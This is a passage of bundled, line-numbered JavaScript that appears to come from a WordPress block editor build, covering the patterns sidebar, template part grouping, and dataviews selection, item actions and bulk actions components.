24121 count: userPatterns.length
24122 });
24123 sortedCategories.unshift({
24124 name: PATTERN_DEFAULT_CATEGORY,
24125 label: (0, import_i18n81.__)("All patterns"),
24126 description: (0, import_i18n81.__)("A list of all patterns from all sources."),
24127 count: themePatterns.length + userPatterns.length
24128 });
24129 return sortedCategories;
24130 }, [
24131 defaultCategories,
24132 themePatterns,
24133 userPatternCategories,
24134 userPatterns
24135 ]);
24136 return { patternCategories, hasPatterns: !!patternCategories.length };
24137 }
24138
24139 // packages/edit-site/build-module/components/sidebar-navigation-screen-patterns/use-template-part-areas.mjs
24140 var import_core_data42 = __toESM(require_core_data(), 1);
24141 var import_data58 = __toESM(require_data(), 1);
24142 var import_block_library2 = __toESM(require_block_library(), 1);
24143 var { NAVIGATION_OVERLAY_TEMPLATE_PART_AREA } = unlock(
24144 import_block_library2.privateApis
24145 );
24146 var useTemplatePartsGroupedByArea = (items) => {
24147 const allItems = items || [];
24148 const templatePartAreas = (0, import_data58.useSelect)(
24149 (select3) => select3(import_core_data42.store).getCurrentTheme()?.default_template_part_areas || [],
24150 []
24151 );
24152 const knownAreas = {
24153 header: {},
24154 footer: {},
24155 sidebar: {},
24156 uncategorized: {},
24157 [NAVIGATION_OVERLAY_TEMPLATE_PART_AREA]: {}
24158 };
24159 templatePartAreas.forEach(
24160 (templatePartArea) => knownAreas[templatePartArea.area] = {
24161 ...templatePartArea,
24162 templateParts: []
24163 }
24164 );
24165 const groupedByArea = allItems.reduce((accumulator, item) => {
24166 const key = accumulator[item.area] ? item.area : TEMPLATE_PART_AREA_DEFAULT_CATEGORY;
24167 accumulator[key]?.templateParts?.push(item);
24168 return accumulator;
24169 }, knownAreas);
24170 return groupedByArea;
24171 };
24172 function useTemplatePartAreas() {
24173 const { records: templateParts, isResolving: isLoading } = (0, import_core_data42.useEntityRecords)(
24174 "postType",
24175 TEMPLATE_PART_POST_TYPE,
24176 { per_page: -1 }
24177 );
24178 return {
24179 hasTemplateParts: templateParts ? !!templateParts.length : false,
24180 isLoading,
24181 templatePartAreas: useTemplatePartsGroupedByArea(templateParts)
24182 };
24183 }
24184
24185 // packages/edit-site/build-module/components/sidebar-navigation-screen-patterns/index.mjs
24186 var import_jsx_runtime183 = __toESM(require_jsx_runtime(), 1);
24187 var { useLocation: useLocation24 } = unlock(import_router27.privateApis);
24188 function CategoriesGroup({
24189 templatePartAreas,
24190 patternCategories,
24191 currentCategory,
24192 currentType
24193 }) {
24194 const [allPatterns, ...otherPatterns] = patternCategories;
24195 return /* @__PURE__ */ (0, import_jsx_runtime183.jsxs)(import_components90.__experimentalItemGroup, { className: "edit-site-sidebar-navigation-screen-patterns__group", children: [
24196 /* @__PURE__ */ (0, import_jsx_runtime183.jsx)(
24197 CategoryItem,
24198 {
24199 count: Object.values(templatePartAreas).map(({ templateParts }) => templateParts?.length || 0).reduce((acc, val) => acc + val, 0),
24200 icon: (0, import_editor27.getTemplatePartIcon)(),
24201 label: (0, import_i18n82.__)("All template parts"),
24202 id: TEMPLATE_PART_ALL_AREAS_CATEGORY,
24203 type: TEMPLATE_PART_POST_TYPE,
24204 isActive: currentCategory === TEMPLATE_PART_ALL_AREAS_CATEGORY && currentType === TEMPLATE_PART_POST_TYPE
24205 },
24206 "all"
24207 ),
24208 Object.entries(templatePartAreas).map(
24209 ([area, { label, templateParts, icon }]) => /* @__PURE__ */ (0, import_jsx_runtime183.jsx)(
24210 CategoryItem,
24211 {
24212 count: templateParts?.length,
24213 icon: (0, import_editor27.getTemplatePartIcon)(icon),
24214 label,
24215 id: area,
24216 type: TEMPLATE_PART_POST_TYPE,
24217 isActive: currentCategory === area && currentType === TEMPLATE_PART_POST_TYPE
24218 },
24219 area
24220 )
24221 ),
24222 /* @__PURE__ */ (0, import_jsx_runtime183.jsx)("div", { className: "edit-site-sidebar-navigation-screen-patterns__divider" }),
24223 allPatterns && /* @__PURE__ */ (0, import_jsx_runtime183.jsx)(
24224 CategoryItem,
24225 {
24226 count: allPatterns.count,
24227 label: allPatterns.label,
24228 icon: file_default,
24229 id: allPatterns.name,
24230 type: PATTERN_TYPES.user,
24231 isActive: currentCategory === `${allPatterns.name}` && currentType === PATTERN_TYPES.user
24232 },
24233 allPatterns.name
24234 ),
24235 otherPatterns.map((category) => /* @__PURE__ */ (0, import_jsx_runtime183.jsx)(
24236 CategoryItem,
24237 {
24238 count: category.count,
24239 label: category.label,
24240 icon: file_default,
24241 id: category.name,
24242 type: PATTERN_TYPES.user,
24243 isActive: currentCategory === `${category.name}` && currentType === PATTERN_TYPES.user
24244 },
24245 category.name
24246 ))
24247 ] });
24248 }
24249 function SidebarNavigationScreenPatterns({ backPath }) {
24250 const {
24251 query: { postType: postType2 = "wp_block", categoryId }
24252 } = useLocation24();
24253 const currentCategory = categoryId || (postType2 === PATTERN_TYPES.user ? PATTERN_DEFAULT_CATEGORY : TEMPLATE_PART_ALL_AREAS_CATEGORY);
24254 const { templatePartAreas, hasTemplateParts, isLoading } = useTemplatePartAreas();
24255 const { patternCategories, hasPatterns } = usePatternCategories();
24256 return /* @__PURE__ */ (0, import_jsx_runtime183.jsx)(
24257 SidebarNavigationScreen,
24258 {
24259 title: (0, import_i18n82.__)("Patterns"),
24260 description: (0, import_i18n82.__)(
24261 "Manage what patterns are available when editing the site."
24262 ),
24263 isRoot: !backPath,
24264 backPath,
24265 content: /* @__PURE__ */ (0, import_jsx_runtime183.jsxs)(import_jsx_runtime183.Fragment, { children: [
24266 isLoading && (0, import_i18n82.__)("Loading items\u2026"),
24267 !isLoading && /* @__PURE__ */ (0, import_jsx_runtime183.jsxs)(import_jsx_runtime183.Fragment, { children: [
24268 !hasTemplateParts && !hasPatterns && /* @__PURE__ */ (0, import_jsx_runtime183.jsx)(import_components90.__experimentalItemGroup, { className: "edit-site-sidebar-navigation-screen-patterns__group", children: /* @__PURE__ */ (0, import_jsx_runtime183.jsx)(import_components90.__experimentalItem, { children: (0, import_i18n82.__)("No items found") }) }),
24269 /* @__PURE__ */ (0, import_jsx_runtime183.jsx)(
24270 CategoriesGroup,
24271 {
24272 templatePartAreas,
24273 patternCategories,
24274 currentCategory,
24275 currentType: postType2
24276 }
24277 )
24278 ] })
24279 ] })
24280 }
24281 );
24282 }
24283
24284 // packages/edit-site/build-module/components/page-patterns/index.mjs
24285 var import_i18n139 = __toESM(require_i18n(), 1);
24286 var import_element141 = __toESM(require_element(), 1);
24287 var import_block_editor25 = __toESM(require_block_editor(), 1);
24288
24289 // packages/dataviews/build-module/dataviews/index.mjs
24290 var import_element121 = __toESM(require_element(), 1);
24291 var import_compose23 = __toESM(require_compose(), 1);
24292
24293 // packages/dataviews/build-module/components/dataviews-context/index.mjs
24294 var import_element68 = __toESM(require_element(), 1);
24295
24296 // packages/dataviews/build-module/constants.mjs
24297 var import_i18n83 = __toESM(require_i18n(), 1);
24298 var OPERATOR_IS_ANY2 = "isAny";
24299 var OPERATOR_IS_NONE2 = "isNone";
24300 var OPERATOR_IS_ALL = "isAll";
24301 var OPERATOR_IS_NOT_ALL = "isNotAll";
24302 var OPERATOR_BETWEEN = "between";
24303 var OPERATOR_IN_THE_PAST = "inThePast";
24304 var OPERATOR_OVER = "over";
24305 var OPERATOR_IS2 = "is";
24306 var OPERATOR_IS_NOT = "isNot";
24307 var OPERATOR_LESS_THAN = "lessThan";
24308 var OPERATOR_GREATER_THAN = "greaterThan";
24309 var OPERATOR_LESS_THAN_OR_EQUAL = "lessThanOrEqual";
24310 var OPERATOR_GREATER_THAN_OR_EQUAL = "greaterThanOrEqual";
24311 var OPERATOR_BEFORE2 = "before";
24312 var OPERATOR_AFTER2 = "after";
24313 var OPERATOR_BEFORE_INC = "beforeInc";
24314 var OPERATOR_AFTER_INC = "afterInc";
24315 var OPERATOR_CONTAINS = "contains";
24316 var OPERATOR_NOT_CONTAINS = "notContains";
24317 var OPERATOR_STARTS_WITH = "startsWith";
24318 var OPERATOR_ON = "on";
24319 var OPERATOR_NOT_ON = "notOn";
24320 var SORTING_DIRECTIONS = ["asc", "desc"];
24321 var sortArrows = { asc: "\u2191", desc: "\u2193" };
24322 var sortValues = { asc: "ascending", desc: "descending" };
24323 var sortLabels = {
24324 asc: (0, import_i18n83.__)("Sort ascending"),
24325 desc: (0, import_i18n83.__)("Sort descending")
24326 };
24327 var sortIcons = {
24328 asc: arrow_up_default,
24329 desc: arrow_down_default
24330 };
24331 var LAYOUT_TABLE2 = "table";
24332 var LAYOUT_GRID2 = "grid";
24333 var LAYOUT_LIST2 = "list";
24334 var LAYOUT_ACTIVITY = "activity";
24335 var LAYOUT_PICKER_GRID = "pickerGrid";
24336 var LAYOUT_PICKER_TABLE = "pickerTable";
24337
24338 // packages/dataviews/build-module/components/dataviews-context/index.mjs
24339 var DataViewsContext = (0, import_element68.createContext)({
24340 view: { type: LAYOUT_TABLE2 },
24341 onChangeView: () => {
24342 },
24343 fields: [],
24344 data: [],
24345 paginationInfo: {
24346 totalItems: 0,
24347 totalPages: 0
24348 },
24349 selection: [],
24350 onChangeSelection: () => {
24351 },
24352 setOpenedFilter: () => {
24353 },
24354 openedFilter: null,
24355 getItemId: (item) => item.id,
24356 isItemClickable: () => true,
24357 renderItemLink: void 0,
24358 containerWidth: 0,
24359 containerRef: (0, import_element68.createRef)(),
24360 resizeObserverRef: () => {
24361 },
24362 defaultLayouts: { list: {}, grid: {}, table: {} },
24363 filters: [],
24364 isShowingFilter: false,
24365 setIsShowingFilter: () => {
24366 },
24367 hasInitiallyLoaded: false,
24368 hasInfiniteScrollHandler: false,
24369 config: {
24370 perPageSizes: []
24371 }
24372 });
24373 DataViewsContext.displayName = "DataViewsContext";
24374 var dataviews_context_default = DataViewsContext;
24375
24376 // packages/dataviews/build-module/components/dataviews-layouts/index.mjs
24377 var import_i18n103 = __toESM(require_i18n(), 1);
24378
24379 // packages/dataviews/build-module/components/dataviews-layouts/table/index.mjs
24380 var import_i18n91 = __toESM(require_i18n(), 1);
24381 var import_components96 = __toESM(require_components(), 1);
24382 var import_element76 = __toESM(require_element(), 1);
24383 var import_keycodes6 = __toESM(require_keycodes(), 1);
24384
24385 // packages/dataviews/build-module/components/dataviews-selection-checkbox/index.mjs
24386 var import_components91 = __toESM(require_components(), 1);
24387 var import_i18n84 = __toESM(require_i18n(), 1);
24388 var import_jsx_runtime184 = __toESM(require_jsx_runtime(), 1);
24389 function DataViewsSelectionCheckbox({
24390 selection,
24391 onChangeSelection,
24392 item,
24393 getItemId: getItemId2,
24394 titleField,
24395 disabled,
24396 ...extraProps
24397 }) {
24398 const id = getItemId2(item);
24399 const checked = !disabled && selection.includes(id);
24400 const selectionLabel = titleField?.getValue?.({ item }) || (0, import_i18n84.__)("(no title)");
24401 return /* @__PURE__ */ (0, import_jsx_runtime184.jsx)(
24402 import_components91.CheckboxControl,
24403 {
24404 className: "dataviews-selection-checkbox",
24405 "aria-label": selectionLabel,
24406 "aria-disabled": disabled,
24407 checked,
24408 onChange: () => {
24409 if (disabled) {
24410 return;
24411 }
24412 onChangeSelection(
24413 selection.includes(id) ? selection.filter((itemId) => id !== itemId) : [...selection, id]
24414 );
24415 },
24416 ...extraProps
24417 }
24418 );
24419 }
24420
24421 // packages/dataviews/build-module/components/dataviews-item-actions/index.mjs
24422 var import_components92 = __toESM(require_components(), 1);
24423 var import_i18n85 = __toESM(require_i18n(), 1);
24424 var import_element69 = __toESM(require_element(), 1);
24425 var import_data59 = __toESM(require_data(), 1);
24426 var import_compose12 = __toESM(require_compose(), 1);
24427
24428 // packages/dataviews/build-module/lock-unlock.mjs
24429 var import_private_apis3 = __toESM(require_private_apis(), 1);
24430 var { lock: lock3, unlock: unlock3 } = (0, import_private_apis3.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
24431 "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
24432 "@wordpress/dataviews"
24433 );
24434
24435 // packages/dataviews/build-module/components/dataviews-item-actions/index.mjs
24436 var import_jsx_runtime185 = __toESM(require_jsx_runtime(), 1);
24437 var { Menu: Menu5, kebabCase: kebabCase4 } = unlock3(import_components92.privateApis);
24438 function ButtonTrigger({
24439 action,
24440 onClick,
24441 items,
24442 variant
24443 }) {
24444 const label = typeof action.label === "string" ? action.label : action.label(items);
24445 return /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(
24446 import_components92.Button,
24447 {
24448 disabled: !!action.disabled,
24449 accessibleWhenDisabled: true,
24450 size: "compact",
24451 variant,
24452 onClick,
24453 children: label
24454 }
24455 );
24456 }
24457 function MenuItemTrigger({
24458 action,
24459 onClick,
24460 items
24461 }) {
24462 const label = typeof action.label === "string" ? action.label : action.label(items);
24463 return /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(Menu5.Item, { disabled: action.disabled, onClick, children: /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(Menu5.ItemLabel, { children: label }) });
24464 }
24465 function ActionModal({
24466 action,
24467 items,
24468 closeModal
24469 }) {
24470 const label = typeof action.label === "string" ? action.label : action.label(items);
24471 const modalHeader = typeof action.modalHeader === "function" ? action.modalHeader(items) : action.modalHeader;
24472 return /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(
24473 import_components92.Modal,
24474 {
24475 title: modalHeader || label,
24476 __experimentalHideHeader: !!action.hideModalHeader,
24477 onRequestClose: closeModal,
24478 focusOnMount: action.modalFocusOnMount ?? true,
24479 size: action.modalSize || "medium",
24480 overlayClassName: `dataviews-action-modal dataviews-action-modal__${kebabCase4(
24481 action.id
24482 )}`,
24483 children: /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(action.RenderModal, { items, closeModal })
24484 }
24485 );
24486 }
24487 function ActionsMenuGroup({
24488 actions,
24489 item,
24490 registry,
24491 setActiveModalAction
24492 }) {
24493 const { primaryActions, regularActions } = (0, import_element69.useMemo)(() => {
24494 return actions.reduce(
24495 (acc, action) => {
24496 (action.isPrimary ? acc.primaryActions : acc.regularActions).push(action);
24497 return acc;
24498 },
24499 {
24500 primaryActions: [],
24501 regularActions: []
24502 }
24503 );
24504 }, [actions]);
24505 const renderActionGroup = (actionList) => actionList.map((action) => /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(
24506 MenuItemTrigger,
24507 {
24508 action,
24509 onClick: () => {
24510 if ("RenderModal" in action) {
24511 setActiveModalAction(action);
24512 return;
24513 }
24514 action.callback([item], { registry });
24515 },
24516 items: [item]
24517 },
24518 action.id
24519 ));
24520 return /* @__PURE__ */ (0, import_jsx_runtime185.jsxs)(Menu5.Group, { children: [
24521 renderActionGroup(primaryActions),
24522 renderActionGroup(regularActions)
24523 ] });
24524 }
24525 function ItemActions({
24526 item,
24527 actions,
24528 isCompact
24529 }) {
24530 const registry = (0, import_data59.useRegistry)();
24531 const { primaryActions, eligibleActions } = (0, import_element69.useMemo)(() => {
24532 const _eligibleActions = actions.filter(
24533 (action) => !action.isEligible || action.isEligible(item)
24534 );
24535 const _primaryActions = _eligibleActions.filter(
24536 (action) => action.isPrimary
24537 );
24538 return {
24539 primaryActions: _primaryActions,
24540 eligibleActions: _eligibleActions
24541 };
24542 }, [actions, item]);
24543 const isMobileViewport = (0, import_compose12.useViewportMatch)("medium", "<");
24544 if (isCompact) {
24545 return /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(
24546 CompactItemActions,
24547 {
24548 item,
24549 actions: eligibleActions,
24550 isSmall: true,
24551 registry
24552 }
24553 );
24554 }
24555 return /* @__PURE__ */ (0, import_jsx_runtime185.jsxs)(
24556 Stack,
24557 {
24558 direction: "row",
24559 justify: "flex-end",
24560 className: "dataviews-item-actions",
24561 style: {
24562 flexShrink: 0,
24563 width: "auto"
24564 },
24565 children: [
24566 /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(
24567 PrimaryActions,
24568 {
24569 item,
24570 actions: primaryActions,
24571 registry
24572 }
24573 ),
24574 (primaryActions.length < eligibleActions.length || // Since we hide primary actions on mobile, we need to show the menu
24575 // there if there are any actions at all.
24576 isMobileViewport) && /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(
24577 CompactItemActions,
24578 {
24579 item,
24580 actions: eligibleActions,
24581 registry
24582 }
24583 )
24584 ]
24585 }
24586 );
24587 }
24588 function CompactItemActions({
24589 item,
24590 actions,
24591 isSmall,
24592 registry
24593 }) {
24594 const [activeModalAction, setActiveModalAction] = (0, import_element69.useState)(
24595 null
24596 );
24597 return /* @__PURE__ */ (0, import_jsx_runtime185.jsxs)(import_jsx_runtime185.Fragment, { children: [
24598 /* @__PURE__ */ (0, import_jsx_runtime185.jsxs)(Menu5, { placement: "bottom-end", children: [
24599 /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(
24600 Menu5.TriggerButton,
24601 {
24602 render: /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(
24603 import_components92.Button,
24604 {
24605 size: isSmall ? "small" : "compact",
24606 icon: more_vertical_default,
24607 label: (0, import_i18n85.__)("Actions"),
24608 accessibleWhenDisabled: true,
24609 disabled: !actions.length,
24610 className: "dataviews-all-actions-button"
24611 }
24612 )
24613 }
24614 ),
24615 /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(Menu5.Popover, { children: /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(
24616 ActionsMenuGroup,
24617 {
24618 actions,
24619 item,
24620 registry,
24621 setActiveModalAction
24622 }
24623 ) })
24624 ] }),
24625 !!activeModalAction && /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(
24626 ActionModal,
24627 {
24628 action: activeModalAction,
24629 items: [item],
24630 closeModal: () => setActiveModalAction(null)
24631 }
24632 )
24633 ] });
24634 }
24635 function PrimaryActions({
24636 item,
24637 actions,
24638 registry,
24639 buttonVariant
24640 }) {
24641 const [activeModalAction, setActiveModalAction] = (0, import_element69.useState)(null);
24642 const isMobileViewport = (0, import_compose12.useViewportMatch)("medium", "<");
24643 if (isMobileViewport) {
24644 return null;
24645 }
24646 if (!Array.isArray(actions) || actions.length === 0) {
24647 return null;
24648 }
24649 return /* @__PURE__ */ (0, import_jsx_runtime185.jsxs)(import_jsx_runtime185.Fragment, { children: [
24650 actions.map((action) => /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(
24651 ButtonTrigger,
24652 {
24653 action,
24654 onClick: () => {
24655 if ("RenderModal" in action) {
24656 setActiveModalAction(action);
24657 return;
24658 }
24659 action.callback([item], { registry });
24660 },
24661 items: [item],
24662 variant: buttonVariant
24663 },
24664 action.id
24665 )),
24666 !!activeModalAction && /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(
24667 ActionModal,
24668 {
24669 action: activeModalAction,
24670 items: [item],
24671 closeModal: () => setActiveModalAction(null)
24672 }
24673 )
24674 ] });
24675 }
24676
24677 // packages/dataviews/build-module/components/dataviews-bulk-actions/index.mjs
24678 var import_components93 = __toESM(require_components(), 1);
24679 var import_i18n87 = __toESM(require_i18n(), 1);
24680 var import_element70 = __toESM(require_element(), 1);
24681 var import_data60 = __toESM(require_data(), 1);
24682 var import_compose13 = __toESM(require_compose(), 1);
24683
24684 // packages/dataviews/build-module/utils/get-footer-message.mjs
24685 var import_i18n86 = __toESM(require_i18n(), 1);
24686 function getFooterMessage(selectionCount, itemsCount, totalItems) {
24687 if (selectionCount > 0) {
24688 return (0, import_i18n86.sprintf)(
24689 /* translators: %d: number of items. */
24690 (0, import_i18n86._n)("%d Item selected", "%d Items selected", selectionCount),
24691 selectionCount
24692 );
24693 }
24694 if (totalItems > itemsCount) {
24695 return (0, import_i18n86.sprintf)(
24696 /* translators: %1$d: number of items. %2$d: total number of items. */
24697 (0, import_i18n86._n)("%1$d of %2$d Item", "%1$d of %2$d Items", totalItems),
24698 itemsCount,
24699 totalItems
24700 );
24701 }
24702 return (0, import_i18n86.sprintf)(
24703 /* translators: %d: number of items. */
24704 (0, import_i18n86._n)("%d Item", "%d Items", itemsCount),
24705 itemsCount
24706 );
24707 }
24708
24709 // packages/dataviews/build-module/components/dataviews-bulk-actions/index.mjs
24710 var import_jsx_runtime186 = __toESM(require_jsx_runtime(), 1);
24711 function ActionWithModal({
24712 action,
24713 items,
24714 ActionTriggerComponent
24715 }) {
24716 const [isModalOpen, setIsModalOpen] = (0, import_element70.useState)(false);
24717 const actionTriggerProps = {
24718 action,
24719 onClick: () => {
24720 setIsModalOpen(true);
24721 },
24722 items
24723 };
24724 return /* @__PURE__ */ (0, import_jsx_runtime186.jsxs)(import_jsx_runtime186.Fragment, { children: [
24725 /* @__PURE__ */ (0, import_jsx_runtime186.jsx)(ActionTriggerComponent, { ...actionTriggerProps }),
24726 isModalOpen && /* @__PURE__ */ (0, import_jsx_runtime186.jsx)(
24727 ActionModal,
24728 {
24729 action,
24730 items,
24731 closeModal: () => setIsModalOpen(false)
24732 }
24733 )
24734 ] });
24735 }
24736 function useHasAPossibleBulkAction(actions, item) {
24737 return (0, import_element70.useMemo)(() => {
24738 return actions.some((action) => {
24739 return action.supportsBulk && (!action.isEligible || action.isEligible(item));
24740 });
24741 }, [actions, item]);
24742 }
24743 function useSomeItemHasAPossibleBulkAction(actions, data) {
24744 return (0, import_element70.useMemo)(() => {
24745 return data.some((item) => {
24746 return actions.some((action) => {
24747 return action.supportsBulk && (!action.isEligible || action.isEligible(item));
24748 });
24749 });
24750 }, [actions, data]);
24751 }
24752 function BulkSelectionCheckbox({
24753 selection,
24754 onChangeSelection,
24755 data,
24756 actions,
24757 getItemId: getItemId2
24758 }) {
24759 const selectableItems = (0, import_element70.useMemo)(() => {
24760 return data.filter((item) => {
24761 return actions.some(
24762 (action) => action.supportsBulk && (!action.isEligible || action.isEligible(item))
24763 );
24764 });
24765 }, [data, actions]);
24766 const selectedItems = data.filter(
24767 (item) => selection.includes(getItemId2(item)) && selectableItems.includes(item)
24768 );
24769 const areAllSelected = selectedItems.length === selectableItems.length;
24770 return /* @__PURE__ */ (0, import_jsx_runtime186.jsx)(
24771 import_components93.CheckboxControl,
24772 {
24773 className: "dataviews-view-table-selection-checkbox",
24774 checked: areAllSelected,
24775 indeterminate: !areAllSelected && !!selectedItems.length,
24776 onChange: () => {
24777 if (areAllSelected) {
24778 onChangeSelection([]);
24779 } else {
24780 onChangeSelection(
24781 selectableItems.map((item) => getItemId2(item))
24782 );
24783 }
24784 },
24785 "aria-label": areAllSelected ? (0, import_i18n87.__)("Deselect all") : (0, import_i18n87.__)("Select all")
24786 }
24787 );
24788 }
24789 function ActionTrigger({
24790 action,
24791 onClick,
24792 isBusy,
24793 items
24794 }) {
24795 const label = typeof action.label === "string" ? action.label : action.label(items);
24796 const isMobile = (0, import_compose13.useViewportMatch)("medium", "<");
24797 if (isMobile) {
24798 return /* @__PURE__ */ (0, import_jsx_runtime186.jsx)(
24799 import_components93.Button,
24800 {
24801 disabled: isBusy,
24802 accessibleWhenDisabled: true,
24803 label,
24804 icon: action.icon,
24805 size: "compact",
24806 onClick,
24807 isBusy
24808 }
24809 );
24810 }
24811 return /* @__PURE__ */ (0, import_jsx_runtime186.jsx)(
24812 import_components93.Button,
24813 {
24814 disabled: isBusy,
24815 accessibleWhenDisabled: true,
24816 size: "compact",
24817 onClick,
24818 isBusy,
24819 children: label
24820 }
24821 );
24822 }
24823 var EMPTY_ARRAY5 = [];
24824 function ActionButton({
24825 action,
24826 selectedItems,
24827 actionInProgress,
24828 setActionInProgress
24829 }) {
24830 const registry = (0, import_data60.useRegistry)();
24831 const selectedEligibleItems = (0, import_element70.useMemo)(() => {
24832 return selectedItems.filter((item) => {
24833 return !action.isEligible || action.isEligible(item);
24834 });
24835 }, [action, selectedItems]);
24836 if ("RenderModal" in action) {
24837 return /* @__PURE__ */ (0, import_jsx_runtime186.jsx)(
24838 ActionWithModal,
24839 {
24840 action,
24841 items: selectedEligibleItems,
24842 ActionTriggerComponent: ActionTrigger
24843 },
24844 action.id
24845 );
24846 }
24847 return /* @__PURE__ */ (0, import_jsx_runtime186.jsx)(
24848 ActionTrigger,
24849 {
24850 action,
24851 onClick: async () => {
24852 setActionInProgress(action.id);
24853 await action.callback(selectedItems, {
24854 registry
24855 });
24856 setActionInProgress(null);
24857 },
24858 items: selectedEligibleItems,
24859 isBusy: actionInProgress === action.id
24860 },
24861 action.id
24862 );
24863 }
24864 function renderFooterContent(data, actions, getItemId2, selection, actionsToShow, selectedItems, actionInProgress, setActionInProgress, onChangeSelection, paginationInfo) {
24865 const message2 = getFooterMessage(
24866 selection.length,
24867 data.length,
24868 paginationInfo.totalItems
24869 );
24870 return /* @__PURE__ */ (0, import_jsx_runtime186.jsxs)(
24871 Stack,
24872 {
24873 direction: "row",
24874 className: "dataviews-bulk-actions-footer__container",
24875 gap: "md",
24876 align: "center",
24877 children: [
24878 /* @__PURE__ */ (0, import_jsx_runtime186.jsx)(
24879 BulkSelectionCheckbox,
24880 {
24881 selection,
24882 onChangeSelection,
24883 data,
24884 actions,
24885 getItemId: getItemId2
24886 }
24887 ),
24888 /* @__PURE__ */ (0, import_jsx_runtime186.jsx)("span", { className: "dataviews-bulk-actions-footer__item-count", children: message2 }),
24889 /* @__PURE__ */ (0, import_jsx_runtime186.jsxs)(
24890 Stack,
24891 {
24892 direction: "row",
24893 className: "dataviews-bulk-actions-footer__action-buttons",
24894 gap: "xs",
24895 children: [
24896 actionsToShow.map((action) => {
24897 return /* @__PURE__ */ (0, import_jsx_runtime186.jsx)(
24898 ActionButton,
24899 {
24900 action,
24901 selectedItems,
24902 actionInProgress,
24903 setActionInProgress
24904 },
24905 action.id
24906 );
24907 }),
24908 selectedItems.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime186.jsx)(
24909 import_components93.Button,
24910 {
24911 icon: close_small_default,
24912 showTooltip: true,
24913 tooltipPosition: "top",
24914 size: "compact",
24915 label: (0, import_i18n87.__)("Cancel"),
24916 disabled: !!actionInProgress,
24917 accessibleWhenDisabled: false,
24918 onClick: () => {
24919 onChangeSelection(EMPTY_ARRAY5);
24920 }
24921 }
24922 )
24923 ]
24924 }
24925 )
24926 ]
24927 }
24928 );
24929 }
24930 function FooterContent({
24931 selection,
24932 actions,
24933 onChangeSelection,
24934 data,
24935 getItemId: getItemId2,
24936 paginationInfo
24937 }) {
24938 const [actionInProgress, setActionInProgress] = (0, import_element70.useState)(
24939 null
24940 );
24941 const footerContentRef = (0, import_element70.useRef)(void 0);
24942 const isMobile = (0, import_compose13.useViewportMatch)("medium", "<");
24943 const bulkActions = (0, import_element70.useMemo)(
24944 () => actions.filter((action) => action.supportsBulk),
24945 [actions]
24946 );
24947 const selectableItems = (0, import_element70.useMemo)(() => {
24948 return data.filter((item) => {
24949 return bulkActions.some(
24950 (action) => !action.isEligible || action.isEligible(item)
24951 );
24952 });
24953 }, [data, bulkActions]);
24954 const selectedItems = (0, import_element70.useMemo)(() => {
24955 return data.filter(
24956 (item) => selection.includes(getItemId2(item)) && selectableItems.includes(item)
24957 );
24958 }, [selection, data, getItemId2, selectableItems]);
24959 const actionsToShow = (0, import_element70.useMemo)(
24960 () => actions.filter((action) => {
24961 return action.supportsBulk && (!isMobile || action.icon) && selectedItems.some(
24962 (item) => !action.isEligible || action.isEligible(item)
24963 );
24964 }),
24965 [actions, selectedItems, isMobile]
24966 );
24967 if (!actionInProgress) {
24968 if (footerContentRef.current) {
24969 footerContentRef.current = void 0;
24970 }
24971 return renderFooterContent(
24972 data,
24973 actions,
24974 getItemId2,
24975 selection,
24976 actionsToShow,
24977 selectedItems,
24978 actionInProgress,
24979 setActionInProgress,
24980 onChangeSelection,
24981 paginationInfo
24982 );
24983 } else if (!footerContentRef.current) {
24984 footerContentRef.current = renderFooterContent(
24985 data,
24986 actions,
24987 getItemId2,
24988 selection,
24989 actionsToShow,
24990 selectedItems,
24991 actionInProgress,
24992 setActionInProgress,
24993 onChangeSelection,
24994 paginationInfo
24995 );
24996 }
24997 return footerContentRef.current;
24998 }
24999 function BulkActionsFooter() {
25000 const {
25001 data,
25002 selection,
25003 actions = EMPTY_ARRAY5,
25004 onChangeSelection,
25005 getItemId: getItemId2,
25006 paginationInfo
25007 } = (0, import_element70.useContext)(dataviews_context_default);
25008 return /* @__PURE__ */ (0, import_jsx_runtime186.jsx)(
25009 FooterContent,
25010 {
25011 selection,
25012 onChangeSelection,
25013 data,
25014 actions,
25015 getItemId: getItemId2,
25016 paginationInfo
25017 }
25018 );
25019 }
25020
25021 // packages/dataviews/build-module/components/dataviews-layouts/table/column-header-menu.mjs
25022 var import_i18n88 = __toESM(require_i18n(), 1);
25023 var import_components94 = __toESM(require_components(), 1);
25024 var import_element71 = __toESM(require_element(), 1);
25025
25026 // packages/dataviews/build-module/utils/get-hideable-fields.mjs
25027 function getHideableFields(view, fields) {
25028 const togglableFields = [
25029 view?.titleField,
25030 view?.mediaField,
25031 view?.descriptionField
25032 ].filter(Boolean);
25033 return fields.filter(
25034 (f2) => !togglableFields.includes(f2.id) && f2.type !== "media" && f2.enableHiding !== false
25035 );
25036 }
25037
25038 // packages/dataviews/build-module/components/dataviews-layouts/table/column-header-menu.mjs
25039 var import_jsx_runtime187 = __toESM(require_jsx_runtime(), 1);
25040 var { Menu: Menu6 } = unlock3(import_components94.privateApis);
25041 function WithMenuSeparators({ children }) {
25042 return import_element71.Children.toArray(children).filter(Boolean).map((child, i2) => /* @__PURE__ */ (0, import_jsx_runtime187.jsxs)(import_element71.Fragment, { children: [
25043 i2 > 0 && /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(Menu6.Separator, {}),
25044 child
25045 ] }, i2));
25046 }
25047 var _HeaderMenu = (0, import_element71.forwardRef)(function HeaderMenu({
25048 fieldId,
25049 view,
25050 fields,
25051 onChangeView,
25052 onHide,
25053 setOpenedFilter,
25054 canMove = true,
25055 canInsertLeft = true,
25056 canInsertRight = true
